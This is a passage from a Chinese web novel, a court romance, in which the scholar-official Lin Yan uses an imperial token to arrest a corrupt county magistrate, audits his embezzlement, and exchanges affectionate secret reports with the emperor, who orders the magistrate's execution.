他明面上老老实实换成米粮炭柴分发给受灾百姓,做得人模狗样!可你六叔公家的小子, 林聪,那孩子打小就精于算学,他帮着发放时粗略一核计,就发现不对劲!” 老爷子喘了口气,继续怒声道:“发下去的物资, 连朝廷拨下来的银子的一半都不到!老夫是个直性子,当即就去县衙质问这狗官,还撂下话,他若敢不把吞下去的银子吐出来补发给百姓,老夫就给你和你爹去信,让你爹和你去吏部好好告他一状!” “他当时吓得脸都白了, 屁都不敢放一个, 只推说朝廷的银子是分了两批,先发一半, 年后才发另一半,找的借口倒是圆滑!老夫岂是那般好糊弄的?愣是盯着他,亲眼看着他假模假样地把所谓另一半物资发放到百姓手中,这才作罢!定是因此被他记恨上了,才敢趁我家治丧, 上门来寻衅刁难,想抓个错处反咬一口!” 林砚听完,脸色彻底沉了下来。 他看向面如死灰的陈博渊,声音冷得能掉冰碴子:“陈县令,我祖父所言,可是实情?” “污蔑!纯属污蔑!”陈博渊猛地抬头,声音尖利却发虚,“下官从未克扣过半两赈灾银,发放物资皆是按章程分批进行,有账可查!林老爷子外怕是年老昏聩,记错了数目,或是受了小人挑唆!林大人明鉴,下官对朝廷忠心耿耿,岂会做此等贪墨之事?” 陈博渊越说似乎越觉得自己有理,腰杆居然又试图挺直一些,色厉内荏地喊道:“即便、即便林大人要追究,也该按律法来!查证、审问、上报!下官好歹是朝廷命官,岂能因一面之词、些许猜测就定了罪?林大人虽居清要,却也无权直接处置下官!要处置,也需上报吏部,由……” “由什么?”林砚打断他,语气甚至带上了一点奇异的玩味,他缓缓站起身,居高临下地看着陈博渊,“陈县令是不是觉得,天高皇帝远,京城来的官,也得守着流程规矩,不能把你怎么样?” 陈博渊被说中心思,嘴唇哆嗦着,眼神却透出一丝侥幸的顽固。 林砚忽然轻轻笑了一下,那笑声里没有半分温度,他慢条斯理地整理了一下孝服的袖子,仿佛在掸去什么灰尘。 “金九。”他淡淡唤了一声。 一直如同影子般默立在林砚身后半步的金九,闻声而动。 众人只觉眼前一花,根本没看清动作,就见原本试图挺直腰杆的陈博渊“噗通”一声,被一股巨力踹得再次重重跪倒在地,这一次更是直接趴了下去,下巴磕在冰冷的青砖上,发出一声令人牙酸的闷响,疼得他眼前发黑,惨叫都堵在了喉咙里。 金九一脚踏在陈博渊背上,将他死死踩在地上,另一只手从怀中掏出一物,高高举起。 那是一面玄铁令牌,在灵堂白惨惨的灯火下,反射着幽冷慑人的寒光,其上狰狞的龙纹盘绕,一个巨大的“御”字,仿佛带着千钧之力,压得所有人都喘不过气。 “见此令,如陛下亲临!” 整个灵堂死寂得落针可闻。 所有宾客,连同林家人,全都骇得魂飞魄散,哗啦啦跪倒一片,头深深埋下去,连大气都不敢喘。 被踩在地上的陈博渊更是肝胆俱裂,那令牌几乎要戳到他眼睛里,冰冷的龙纹和那个“御”字,像是烧红的烙铁,烫得他灵魂都在尖叫。 御令!竟然是能代表皇帝本人的御令! 林砚到底是怎么做到的?陛下竟将如此令牌给了他?这是何等的信重!何等的恩宠! 陈博渊只觉得一股彻骨的寒意从脚底板直冲天灵盖,浑身抖得如同秋风中的落叶,牙齿咯咯作响,连求饶的话都说不出来了,只剩下无边的恐惧和绝望。 林砚缓缓踱步,走到陈博渊面前,蹲下身,看着他惨无人色的脸,语气甚至称得上“温和”,却比任何厉声呵斥都令人恐惧:“陈县令,现在,你觉得本官有没有权力,直接处置你呢?” “哦,对了,”林砚像是刚想起什么,语气更加“谦虚”,“可能比陈县令你想象的,还要更受陛下信任那么一点点。” 他伸出手指,比了一个微小的手势。 “所以,贪污赈灾款,欺压百姓。”林砚的声音骤然转冷,“你这乌纱帽,本官现在就可以替你摘了,你信不信?” 陈博渊终于从巨大的惊恐中找回了一丝声音,那是破碎的、带着哭腔的哀嚎:“信!下官信!林大人饶命!陛下饶命!是下官猪油蒙了心!是下官贪墨!下官知罪!求林大人开恩!饶了下官这条狗命吧!” 他涕泪横流,哪里还有半分方才的官威,只剩下最卑微的乞怜。 林砚厌恶地皱了皱眉,站起身,不再看他一眼,只对金九淡淡道:“押下去,看起来,即刻起,查封县衙账册库房,控制其家眷仆役,一应人等,不得妄动,待本官处理完家事,再亲自审理此案。” “是。”金九干脆利落地应下,像拖死狗一样将烂泥般的陈博渊拖了出去。 灵堂内依旧鸦雀无声,所有人都还跪在地上,被这突如其来的雷霆手段震慑得心神剧颤。 林砚深吸一口气,转身,对着灵床方向,重新跪了下来,恭恭敬敬地磕了三个头。 “曾祖母,扰您清净的宵小,孙儿已处置了,您安心吧。” 他的声音恢复了平静和肃穆,仿佛刚才那个一句话决定一县县令生死的人不是他。 磕完头,林砚才转向依旧跪着的众人,轻声道:“诸位请起,丧礼继续,惊扰诸位了,林砚在此赔罪。” 众人这才如梦初醒,战战兢兢地爬起来,再看林砚的眼神,已充满了难以言喻的敬畏。 林老爷子看着孙子的背影,嘴唇动了动,最终什么也没说,只是眼中情绪翻涌,有后怕,有解气,更有一种难以言表的震撼和复杂。 林砚重新跪回原来的位置,垂着眼,仿佛刚才的一切只是一个小插曲。 只有他自己知道,袖中的手,微微握紧。 萧彻给的这块令牌,真好用。 不过也得赶紧写个密折,把这事给萧彻汇报一下才行。 虽然他手上就有一道空白圣旨,但处置一个陈博渊也不是什么紧急的情况,完全不配动用萧彻的一片苦心。 还是写一封密报让金九送回京城,叫萧彻正式下发一道圣旨,还得派个新的县令来呢。 林砚在灵堂又守了片刻,见前来吊唁的亲友逐渐稀少,仪式暂告一段落,便低声向祖父告退片刻。 林老爷子此刻看孙子的眼神复杂难言,只挥了挥手,示意他自去。 林砚起身,因久跪而腿脚微麻,稍稍活动了一下,便走向旁边临时收拾出来的一间僻静厢房。 金九早已悄无声息地候在门外,见他过来,微微颔首,手里已捧着一套简单的文房四宝。 “有劳。”林砚低声道,推门而入。 屋内陈设简单,只一桌一椅,窗棂透入的天光显得有些惨淡。 林砚在桌前坐下,铺开纸,研墨,提笔蘸饱了墨汁。 略一沉吟,林砚落笔时便带上了翰林学士起草公文时的条理与清晰。 【臣林砚谨奏:正月十九,臣于洛州祖宅曾祖母丧仪期间,遇本县县令陈博渊借吊唁之名,公然于灵前寻衅,指摘丧仪逾制,意图不轨,臣祖父激愤之下,指证陈博渊年前贪污朝廷赈济寒潮银两,克扣过半,虽经祖父当场揭穿并逼迫其补发,然其怀恨在心,故有此番刁难,臣质询时,陈博渊矢口否认,气焰嚣张,以臣需依律法程序上报、无权直接处置为由,妄图搪塞。】 写到这里,林砚不自觉地牵起嘴角,跟陛下告状的感觉真不赖。 【臣幸蒙陛下信重,赐予御令,见此令如陛下亲临,危急之时,臣请出御令,陈博渊当即骇怖伏罪,对所犯贪墨之事供认不讳,臣已令金九将其扣押,并查封县衙账册、控制相关人等,听候发落,此事起于突然,臣为震慑宵小、肃清灵堂,不得已行非常之举,先行处置,伏乞陛下恕臣擅专之罪,待丧仪毕,臣当详查此案,据实上奏。】 公事部分写完,林砚的笔触自然而然地柔和了下来,他另起一行,字迹似乎也随心意变得稍显随意亲昵。 【另,今日若无陛下所赐御令,臣虽占理,恐亦难瞬息平息事端,反使灵堂不宁,家门受辱,陛下恩泽,如臂使指,令臣得护家人周全,全曾祖母身后哀荣,陛下的令牌,真的很好用,臣今日也体验了一番何为狐假虎威,心中甚为感激,亦觉甚是威风。】 笔锋至此,情绪悄然流转。 书房内寂静,只有笔尖划过纸面的沙沙轻响,窗外隐约传来的悲泣声更衬得此间宁静,也勾起了深藏的思念。 若思念便思念。 林砚蘸了蘸墨,垂眸片刻,终是在这奏报的最末尾,几乎是遵循本能般地,添上了一行与前面公文体裁格格不入,字迹也显得更为轻柔缱绻的小字。 【公务已毕,私心窃启:家中诸事虽繁,然一切尚好,勿念,陛下勤政,万望珍重龙体,臣于陛下,念念、念念。】 写罢,林砚放下笔,拿起纸笺轻轻吹干墨迹,看着那最后一行字,耳根微微发热,将信笺仔细折叠好,装入特制的信封,以火漆封口,这才扬声唤道:“金九。” 金九应声推门而入,依旧是一张没什么表情的脸。 “即刻将此密报送往京城,呈交陛下。”林砚将信封递过去。 金九双手接过,塞入怀中,利落点头:“是。”转身便欲离去。 “等等。”林砚忽然又叫住他。 金九停下脚步,回身静待指示。 林砚摸了摸鼻子,眼神飘向一边,声音压低了些,带着点不易察觉的别扭:“那个,若是陛下问起……咳,就说我这里一切尚好,不必挂心,让陛下照顾好自己。” 金九的面瘫脸上似乎闪过一丝极微妙的波动,快得让人抓不住,他再次躬身:“属下明白。” 这次,见林砚再无吩咐,他才身影一闪,迅速消失在门外,着手安排人以最快速度将这份夹杂着公事与私情的密报送往京城。 林砚独自在厢房中又静坐了片刻,轻轻吁出一口气,将心中那点因思念而泛起的涟漪压下,重新敛起神色,起身整理了一下身上的孝服,推门而出,再次回到了那片悲伤与肃穆之中,跪于灵前,背影挺直,仿佛方才那个在纸笔间流露私情的青年只是错觉。 唯有林砚自己知道,那份已踏上通往京城的密报,悄然带走了他此刻几分难以言喻的牵挂。 第74章 第 74 章 “念念、念念……”…… 那份揣在林砚怒气与思念的密报, 以超乎寻常的速度被递送出去。 林砚在灵堂前跪得膝盖发麻,琢磨着萧彻有没有收到自己的密报,那份密报已经过了数道手, 最终由李德福捧着, 脚步又轻又快地送进了太仪殿暖阁。 暖阁里地龙烧得旺,萧彻刚批完一摞请安折子, 正捏着眉心缓解疲乏。 收到林砚从洛州送来的平安信,他心情极不错, 连带着看那些辞藻华丽内容空洞的折子都顺眼了两分。 此刻见李德福又呈上一封,唇角便不自觉地扬了扬,接过时甚至带了些迫不及待的意味。 “又是林砚的信?”他语气随意,指尖已挑开了火漆。 “回陛下,是林大人通过金影卫渠道加急送来的。”李德福笑着应道。 然而, 笑容在萧彻展开信笺,目光扫过上面内容的瞬间,骤然冻结。 李德福甚至能清晰地看到陛下捏着信纸的手指猛地收紧,手背上青筋暴起。 “好!好一个陈博渊!”萧彻的声音从齿缝里挤出来,“贪墨赈灾银两,欺压百姓, 还敢在林砚曾祖母的灵堂之上寻衅刁难, 他是活腻了!真当朕的刀砍不动他的狗头?” 一声巨响,萧彻狠狠一拳砸在身旁的紫檀木小几上, 震得上头的茶盏笔筒嗡嗡作响。 李德福吓得魂飞魄散,“噗通”一声就跪下了,连连叩头:“陛下息怒!陛下万万保重龙体啊!为了这等混账东西气坏了身子,不值当啊陛下!” 他是知道陛下最恨的就是这等蛀虫,更何况这蛀虫还欺负到了林大人头上, 这不是老寿星吃砒霜,活得不耐烦了么! 萧彻眼中杀意沸腾。 “传朕旨意!”萧彻猛地站起身,“立刻……” “陛下!”李德福眼看陛下盛怒之下就要下严旨,急忙冒着大不韪抬头,急声劝道,“陛下息怒,您先消消气,您看,林大人在信里也说了,他已请出御令,将那混账东西当场拿下扣押了,林大人处理得极好,并未让那厮真正扰了老太太的清净,也没让林家吃了亏去,陛下,林大人行事有章法,已然控制住局面了。” 是啊,林砚处理了。 用他给的令牌,干脆利落地收拾了那混账。 【陛下的令牌,真的很好用,臣今日也体验了一番何为狐假虎威,心中甚为感激,亦觉甚是威风。】 看到这一行字,萧彻几乎能想象出林砚写下这话时,那副有点小得意,又带着点依赖和炫耀的小模样。 萧彻暂且按下了立刻下旨派人去洛州将陈博渊这厮碎尸万段的怒意。 李德福觑着陛下神色,知道劝慰起了效,赶紧趁热打铁:“陛下,林大人虽已控制局面,但后续审理、定罪、乃至新任县令的选派,都还需陛下圣裁,陛下此刻更需保重,才能为林大人、为洛州百姓主持公道啊。” 气大伤身,气大伤身呐! 萧彻屈起手指,有一下没一下地敲着桌面,发出沉闷的声响,如同敲在人的心尖上。 “你说得对。”半晌,萧彻缓缓开口,“林砚做得很好,但这事,不能就这么算了。” 他的目光转向李德福:“拟旨。” 李德福立刻爬起来,手脚麻利地铺纸研墨。 萧彻沉吟片刻,语速不快,却字字千钧:“洛州县县令陈博渊,贪墨赈灾银两,欺压百姓,更于林家治丧期间公然寻衅,亵渎灵堂,其行卑劣,着,即刻革去其一切官职功名,锁拿进京,交三司会审,严惩不贷,其家产一并查抄,充入国库,待案情审明,其所贪墨之银两,加倍罚没,发还洛州受灾百姓。” “另。”萧彻顿了顿,继续道,“翰林学士林砚,于危难之际持朕御令,果断处置,稳定地方,抚慰民心,有功于朝,特旨加钦差衔,全权负责查办陈博渊贪墨一案,一应人证物证,地方官员,皆须配合,不得有误。” “再拟一道旨给吏部,让他们立刻从候选官员中,遴选清正干练、熟知民情者,速速拟出接任洛州县令人选,报朕审定,不得延误。” “最后,传谕都察院,即刻行文各道监察御史,给朕彻查,看看这大渝朝,还有多少个陈博渊,敢把手伸向赈灾银子,伸向百姓的口粮,有一个算一个,给朕揪出来,严惩不赦!” 一连串的旨意,清晰冷厉。 即便登基快两年,萧彻仍旧反对先皇水至清则无鱼的观点。 有些人分明是大鱼吃小鱼、小鱼吃虾米,可大渝百姓不是池塘里的虾米。 李德福笔下如飞,一字不落地记下,心头骇然,陛下这是动了真怒,不仅要办陈博渊,还要借此机会,狠狠整顿吏治。 “是,老奴这就去传旨。”李德福写好旨意,吹干墨迹,恭敬呈上。 萧彻扫了一眼,拿过玉玺,重重盖下。 “即刻发出,六百里加急。” “是!” 圣旨如同插上了翅膀,带着皇帝的雷霆之怒,飞快地传向四面八方。 处理完这桩突发事件,萧彻心头的郁气才算疏解。 他重新拿起那封密报,目光跳过前面令人火大的部分,落到了最后那几行小字上。 【公务已毕,私心窃启:家中诸事虽繁,然一切尚好,勿念,陛下勤政,万望珍重龙体,臣于陛下,念念、念念。】 那字迹似乎比前面公文体更柔和些许,充斥着亲昵和牵挂。 “念念、念念……” 萧彻低声重复着这两个字,指尖在那墨迹上轻轻摩挲,仿佛能透过纸张,触摸到书写之人当时的心绪。 萧彻甚至能想象出,林砚写下这四个字时,那副强作镇定却耳根发红、写完了还要左右张望生怕被人看见的别扭模样。 心情莫名地就好了起来。 他将那密报仔细折好,并未如往常般交由李德福归档,而是自己收了起来。 “李德福。” “老奴在。” “晚膳添一道火腿鲜笋汤。”萧彻语气平淡地吩咐,仿佛刚才那个勃然震怒,连下数道严旨的皇帝只是幻觉。 李德福愣了一下,立刻反应过来,林大人似乎颇喜这道汤。 他脸上笑出褶子,连忙躬身:“是,老奴这就去吩咐御膳房。” 看来陛下这心情,是雨过天晴了。 李德福退出去时,心里默默给远在洛州的林砚又竖起大拇指。 两日后,洛州林家老宅。 丧仪仍在继续,气氛悲戚而肃穆。 林砚正跪在灵前烧纸,一张张黄纸投入火盆,化为灰烬,盘旋上升。 忽然,老宅门外传来一阵极其喧哗的动静,马蹄声、脚步声、唱喏声混杂在一起,打破了这份哀肃。 “圣旨到!翰林学士林砚接旨——” 传旨声穿透院落,清晰地传入灵堂。 所有跪着的林家人和吊唁的宾客都惊呆了,纷纷抬头。 林砚也是一怔,这么快?他放下手中的纸钱,在父亲林承稷震惊的目光中,整理了一下孝服,快步迎了出去。 只见院子里黑压压跪了一地的人,一名身着宫中服饰的传旨太监手持明黄圣旨,神情肃穆地站在那里,身后还跟着几名禁军护卫,风尘仆仆,显然是日夜兼程赶来的。 “臣林砚,恭请圣安。”林砚撩衣跪下,垂首听旨。 “朕安。”太监展开圣旨,朗声宣读。 圣旨前半部分,历数陈博渊罪状,言辞犀利,定罪严苛,听得跪在地上的林家人和那些乡绅宾客心惊肉跳,尤其是那句“锁拿进京,交三司会审,严惩不贷”,更是让众人头皮发麻。 而当听到后半部分,陛下盛赞林砚“果断处置,稳定地方,抚慰民心,有功于朝”,特加“钦差”衔,全权查办此案时,所有人的目光再次聚焦到林砚身上,那眼神里的敬畏已经变成了骇然和难以置信。 钦差大臣!那可是代表皇帝亲临的重臣! 林砚才多大?入朝才多久?陛下竟将如此重权交予他? 不愧是御前红人! 圣旨宣读完毕,林砚叩首谢恩:“臣林砚,领旨谢恩!吾皇万岁万岁万万岁!” 他接过那沉甸甸的圣旨,站起身。 传旨太监立刻换上了一副笑脸,上前一步,又从身后随从那里接过一个沉甸甸的锦盒,亲自双手奉给林砚:“林大人,陛下还有口谕,说大人奔波劳苦,又逢家中丧事,特赐下些参茸药材,给大人和府上老爷夫人补补身子,望大人节哀,保重身体,妥善办理陛下交托的差事。” “臣,谢陛下厚恩。”林砚再次躬身,接过了锦盒。 这接连的圣旨和赏赐,给众人都看麻了,皇帝还管人补身子的事情? 众人再看向林砚的眼神,又变了。 先前林砚拿出御令压制陈博渊,已令人震撼,这才过了几天,连丧礼都还没有办完,实打实的圣旨就到了林砚的手里,还有陛下额外关怀的赏赐。 啧啧,不同凡响。 林承稷和文韫站在人群前方,听着圣旨,接着赏赐,脸上的表情倒是淡定,在京城他们家可没少接到陛下的赏赐,已然习以为常。 话是这么说……可是这圣旨来得真的太快了吧! 儿子跟陛下绝对有另外的通信途径! 这到底是为什么啊? 林砚捧着圣旨和赏赐,感受着父母那努力装作淡定实则探究又不安的目光,心虚得很,他可不敢说自己是在跟皇帝谈恋爱。 家里好不容易才勉强接受了他是个断袖的事实,要是再知道他断袖的对象是当今天子……林砚简直不敢想象那会是怎样的鸡飞狗跳。 坦白的事情还是再等等吧,等一个合适的时机。 传旨太监完成任务,又说了几句“节哀”、“陛下挂念”的话,给林砚留下一队金吾卫作为钦差卫队,便带着人告辞了,留下林家一院子的人心思各异地继续丧仪。 接下来的流程,林砚感觉自己就像个被围观的猴子。 虽然没人敢明目张胆地打听,但那若有若无的打量、窃窃私语和敬畏中带着探究的眼神,几乎没离开过他。 好不容易熬到一天丧仪结束,林砚只觉得比在祠部司上班还累,身心俱疲。 晚上,一家人回到临时落脚的客栈用饭,饭桌上气氛诡异,安静得只能听到碗筷碰撞的轻微声响。 林墨看看爹,看看娘,又看看哥哥,明智地埋头苦吃,努力减少存在感。 最终还是林承稷没忍住,清了清嗓子,放下筷子,目光复杂地看向林砚:“砚儿啊……” “爹,您说。”林砚立刻坐直身体,摆出乖巧听训的模样。 林承稷想了想,只是给林砚夹了一筷子菜:“这些天不能食荤腥,你又辛苦,多吃点儿,啊。” 林砚:“???” 就这?—— 作者有话说:心美哥真的很讨厌贪官污吏的 第75章 第 75 章 陛下,想他。 林老太太的丧礼总算在一种难以言喻的氛围中结束了。 说悲伤吧, 确实是悲伤,毕竟老人家驾鹤西去。 但说完全沉浸在悲伤里吧,那几天圣旨到、钦差卫队往门口一站, 县令大人直接下了大狱的刺激场面又太过震撼, 让林家上下以及整个镇子的人都处于一种“我是谁我在哪我家/我们镇出了个不得了的人物”的恍惚中。 林砚跪得膝盖都快不是自己的了,好不容易熬到所有仪式结束, 将曾祖母的灵柩送入林家祖坟,他回到老宅后的第一件事不是休息, 而是揉着酸软的腰腿,目光灼灼地盯上了被金九带人严密看管起来的陈博渊。 “族兄林聪到了吗?”林砚问一旁的金九。 “已在偏厅等候。”金九言简意赅。 林砚点点头,一瘸一拐却又带着一股“搞事”气势地往偏厅走去。 偏厅里,坐着一位看起来有些瘦弱、眼神却格外清亮的青年,正是林砚那位在分发物资时就能一眼看出账目不对的族兄, 林聪。 林聪见到林砚进来,连忙起身,显得有些拘谨:“砚弟……呃,林大人。” “自家人,没外人在场,叫砚弟就行。”林砚摆摆手, 一屁股坐在他对面, 开门见山,“聪哥, 这次劳你过来,是有件大事要请你帮忙。” 林聪也不傻:“是为了陈博渊的案子?” “没错。”林砚冷笑一声,“那家伙敢贪污大半赈灾银两,我不信去年是他第一次伸手,这次既然动了手, 就要把他查个底朝天。” 林聪一听要查账,眼睛唰地就亮了,仿佛饿了三天的人看见满汉全席:“账本在哪儿?” 林砚就喜欢他这副斗志昂扬的样子:“州府的仓库都快被我搬空了!自陈博渊到洛州任职以来,所有钱粮赋税册、工程拨款记录,全在那儿堆着呢。” 他领着林聪走到临时征用的一间大库房前,推开门的瞬间,尘土飞扬,林砚被呛得连打了好几个喷嚏。 只见里面一筐筐、一摞摞,全是各种册子,竹简的、纸质的,新旧不一,堆得跟小山似的,几个临时调来的小吏正愁眉苦脸地对着一堆乱七八糟的标签发呆。 林砚指着这“知识的海洋”、“腐败的坟墓”,对林聪说:“看!这都是你的!” 林聪不仅没被吓到,反而脸上露出了近乎虔诚的光芒,仿佛艺术家看见了绝世璞玉,摩拳擦掌:“交给我,最多十天,我把他底裤什么颜色都查出来!” 林砚:“……”倒也不至于,我对陈博渊的底裤是什么颜色不感兴趣,萧彻也不会感兴趣。 将林聪点名要的账房先生给林聪配齐,林砚便把这堆账本交给了林聪。 林聪一头扎进了账本堆里,迅速制定了查账方案:核对州府、县的税收账目,与户部存档的黄册、鱼鳞册进行比对,重点查火耗加征、虚报灾情减免、隐匿收入…… 他像个无情的查账机器,手指飞快地拨着算盘,嘴里念念有词,时不时冒出一句“这里不对”、“差额三百两”之类的。 林砚满意地点点头,很好,专业的事交给专业的人。 他自己当然也不会闲着,带着萧彻拨给他的那队钦差卫队,浩浩荡荡地杀向了洛州的官仓和银库。 守仓库的小官吓得腿都软了,钥匙都快拿不稳。 “开门!钦差办案,清点库存!”金九开口跟威胁人似的,充满煞气。 仓库大门一开,一股陈米混杂着霉味的气息扑面而来。 林砚捂着鼻子走进去,只见里面粮食堆得倒是挺满,但他随手抓了一把米,眉头就皱起来了:“这米颜色发暗,颗粒也不饱满,以次充好?” 卫队长是个实在人,直接捅破一个麻袋,里面流出更多品相不佳的米粒。 “记下来。”林砚面无表情。 接着清点银库。 账面上写着库存白银五万两。 但打开银箱一看,白花花的银子是有,但一过秤,足足少了八千两! 库官噗通一声就跪下了,冷汗直流:“大人、大人明鉴!这、这或许是……是秤坏了……” 林砚都气笑了:“少了就是少了,亏空就是亏空,给我封存!所有账目全部带走!” 他这边实地清点,那边林聪带着账房团队疯狂输出,两边信息时不时一对。 “聪哥,西仓账目显示应有新米一千石,实际只有六百石陈米。” “我这边查到他们三月报了一次鼠耗,损耗高达两百石,耗子成精了这是?” “银库实存比账面少八千两。” “对上了,我正奇怪去年底有一笔修缮府衙的支出,高达一万两,但工程记录模糊,看来是借着名目挪用了。” 林砚越查越是心头火起,好家伙,这陈博渊贪得简直毫无技术含量,仗着天高皇帝远,简直为所欲为。 况且洛州还算不上天高皇帝远的地界。 就在林砚忙得脚不沾地时,他爹林承稷也没闲着。 林砚毫不客气地把自家老爹这位工部老油条给安排了:“爹,您经验丰富,帮个忙,查查洛州这几年有没有什么水利、城防、官署修建的工程,看看里面的账目有没有猫腻,虚报工料、偷工减料、中饱私囊,您一看一个准。” 林承稷本来还在伤感老太太去世,此刻被儿子抓了壮丁,一听是查工程腐败,工部职业本能瞬间被激活。 “包在爹身上。”林承稷撸起袖子就加入了战斗,对着那些工程图纸和采购清单研究起来。 “这堤坝用的石料标号不对,价格却报的顶级石料的价。” “这采购的杉木数量,够再造半个县衙了,木头呢?飞了?” 一时之间,整个洛州官场风声鹤唳。 县令陈博渊被钦差大臣林砚拿下查办的消息,像长了翅膀一样飞遍了洛州的大街小巷。 百姓们拍手称快,奔走相告:“贪官被抓了!” “活该!让他克扣我们的救济粮!” “听说那位林大人年轻得很,是京城来的大官!陛下派来的!” “这你就不知道了吧?林大人是咱们洛州人!” 洛州府衙门里那些平日里跟陈博渊走得近,或多或少沾点边的官员,则是个个心惊胆战,食不下咽,夜不能寐,生怕下一秒钦差卫队就踹开自家大门。 林砚只是叫钦差卫队看着这些人,倒是还没有腾出手来一个个细查,不过把陈博渊给查个底朝天,该落网的一个也逃不掉。 他很忙,真的很忙。 白天,林砚不是在仓库盘点,就是在看林聪他们送来的最新审计报告,或者听他爹分析哪个工程又扒出了一层皮。 晚上,还要写工作简报,通过金影卫的快速通道发给萧彻。 得让他的皇帝陛下实时掌控洛州的情况。 【陛下,我又查出陈博渊虚报蚕桑税减免,贪墨白银一千五百两,证据确凿。】 【陛下,这洛州官仓的耗子可能真的成精了,年年损耗率都比隔壁县高出一大截。】 【陛下,我爹真是宝刀未老,一眼就看出城南那座桥的用料号不对,省了至少三千两工料钱,陈博渊这王八蛋可真敢贪啊!】 萧彻看着这些每日准时送达的密报,又是好笑又是好气。 气的是底下官员如此无法无天,笑的是林砚这查案查得还挺乐在其中。 【这陈博渊脑子是不是被驴踢了?做假账做得这么敷衍,是觉得没人会来查吗?】 【啧啧,这借口找的,还不如写话本的人会编。】 【啊啊啊好多账本,眼睛要瞎了,陛下我眼睛好累!】 萧彻将林砚送回的密报全部整理放好,心里盘算着,林砚这次有功,该给林砚什么赏赐才好。 若还是给些东西,总觉得还不够。 他想给林砚升官,从五品翰林学士再往上提一提。 查案工作如火如荼,林聪不愧是数字天才,带着他的账房团队日夜鏖战,愣是把陈博渊的老底翻了个底朝天。 贪污赈灾款只是冰山一角,什么加征火耗、隐瞒田亩收入、倒卖官仓存粮、虚报工程款项……各种手段层出不穷,涉案金额大得吓人。 证据越堆越多,林砚看着最终汇总的数据,只觉得触目惊心。 他也算是明白了嬛嬛那句“三年清知县,十万雪花银”是怎么来的,只要想贪污,还真多的是办法可以贪。 …… 林聪抱着一本厚厚的、写满密密麻麻数字的汇总册子找到林砚时,脚步都是飘的,但眼神亮得惊人。 “砚弟,算、算出来了!”林聪的声音因为过度兴奋和缺乏睡眠而有些沙哑,“全都在这儿了!自陈博渊到任洛州县至今,五年七个月零三天,共计贪墨各项银两、物资折合白银……” 他深吸一口气,报出一个数字:“八万九千六百四十二两七钱!” 林砚正捧着杯子在喝水,闻言一口水喷出来。 “多少?!”他夺过那本册子,快速翻看。 好家伙!真是好家伙啊! 陈博渊这厮是属饕餮的吗?这么能吞! 林砚这日写给萧彻的密报里,用了极长的篇幅吐槽。 【陛下!八万九千多两!整整八万九千多两啊!这陈博渊是把他洛州当自家钱庄了吧?!】 【他怎么敢的啊!这够买多少头牛了!够修多少条路了!】 【气死我了!我现在看街上的狗都觉得它是不是被陈博渊克扣了口粮!】 写完了密报,林砚才正式写此案的结案奏报。 他详细罗列了陈博渊的各项罪证:贪墨赈灾银、加征火耗、虚报减免、倒卖官粮、工程贪腐……每一项后面都附上了确凿的证据和涉案金额,条理清晰,数据扎实。 写完后,林砚吹干墨迹,将这份沉甸甸的奏章和那本厚厚的账目汇总,一同封好,交给卫队长。 “六百里加急,直送御前。” 接下来的几天,林砚一边继续稳定洛州局面,督促县丞暂代政务,一边等待着京城的最终裁决。 也不知他家陛下会怎么判陈博渊。 眨眼就过了二月十五,京城的圣旨到了。 这一次的阵仗比上次更大,传旨的是一位身着绯袍的宫中内侍,年龄稍微比李德福小些,林砚倒是没见过,表情肃穆,身后跟着刑部和大理寺的官员,还有一队杀气腾腾的禁军。 “奉天承运,诏曰:洛州县县令陈博渊,贪渎枉法,蠹国害民,罪证确凿,恶行累累,着即革去所有功名官职,判斩立决,家产尽数抄没,三族内流放三千里,遇赦不赦,其余一应涉案官吏,由钦差大臣林砚会同刑部、大理寺官员,依律严惩,不得宽贷,所抄没之赃银,准林砚所奏,优先用于弥补洛州亏空、抚恤受害百姓,钦此——” 林砚心中一块大石落地,高呼:“臣领旨!陛下圣明!万岁万岁万万岁!” 这判决,甚至比他想象的还要重,可见陛下是真的动了雷霆之怒。 刑部和大理寺的官员上前与林砚交接,开始忙碌地处理后续事宜:核定其他涉案官员的罪责,清点抄没的家产…… 看着曾经作威作福的贪官得到应有的下场,看着查抄出来的金银珠宝、古玩字画一箱箱抬出陈府,洛州的百姓们无不拍手称快,高呼“青天大老爷”、“皇上万岁”。 林砚站在县衙门口,看着眼前的一切,长长地舒了一口气。 连日的疲惫似乎都减轻了不少。 虽然过程累得像条狗,但结果大快人心。 为民除害的感觉,真不赖。 此事已了,他们一家人也该返回京城了,不知不觉离开京城一个多月了啊。 陛下,想他。 第76章 第 76 章 【臣甚是想念陛下,惟愿…… 御书房内, 炭火烧得正旺,将寒意隔绝在外,只余满室暖融。 中书侍郎赵启明、同中书门下平章事郑泊远, 以及吏部尚书周文方, 三位朝廷重臣垂手恭立,眼观鼻, 鼻观心,心下皆是忐忑。 今日下朝陛下派李德福传令叫他们三人到御书房, 也没透露是何事。 萧彻端坐于御案之后,一身龙袍衬得面容冷峻,他指尖拈着一份刚从洛州六百里加急送回的奏报,并未立刻言语,只目光沉静地扫过下首三人。 “李德福, 赐座。”萧彻隔了一会儿才道。 三人谢了恩,小心翼翼地落座,心也落回了肚子里去。 陛下还会给他们赐座,看来不是找他们麻烦的。 “洛州县令陈博渊贪墨一案,结了,五年七个月, 贪墨近九万两白银。” 短短一句话, 信息量巨大,骇人听闻。 赵启明、郑泊远、周文方三人俱是浑身一震, 猛地抬头,脸上写满了难以置信。 九万两!一个县令?! 这简直是掘地三尺式的贪腐! 萧彻将他们的惊骇尽收眼底,并未动怒,只将奏报轻轻往前一推:“详细罪证,都在这里, 实在是触目惊心。” 郑泊远资历最老,此刻须发皆颤,率先躬身,痛心疾首:“老臣……老臣惶恐!竟让此等蠹虫盘踞地方,残害百姓,臣等失察,请陛下治罪!” 赵启明与周文方也立刻跟着请罪。 “朕召你们来,不是听你们请罪的。”萧彻抬手按了按,示意三人坐下,“吏治清平,非一日之功,亦非一人之责,陈博渊已判斩立决,三族流放,此事,算是给了洛州百姓一个交代。” 三人稍稍松了口气,但心依旧悬着,陛下绝不会只为通报一个贪官的死讯而召见他们。 果然,萧彻话锋一转:“此番能迅速查清此案,稳定洛州,翰林学士林砚,居功至伟。” 他提到“林砚”二字时,语调几不可察地柔和了半分,但在场哪个不是人精,立刻捕捉到了这细微的变化。 “林学士年轻有为,忠勇果决,实乃朝廷栋梁之材。”周文方立刻跟上,语气诚挚无比。 他掌吏部,对官员考评升迁最为敏感,此刻已然嗅到了风向。 赵启明与郑泊远也纷纷附和,盛赞林砚才干出众,陛下慧眼识珠。 萧彻对他们的反应颇为满意,微微颔首,终于图穷匕见:“林砚办事得力,有功当赏,依你们看,该如何褒奖,方显朝廷恩典,又不至于令其骄矜?” 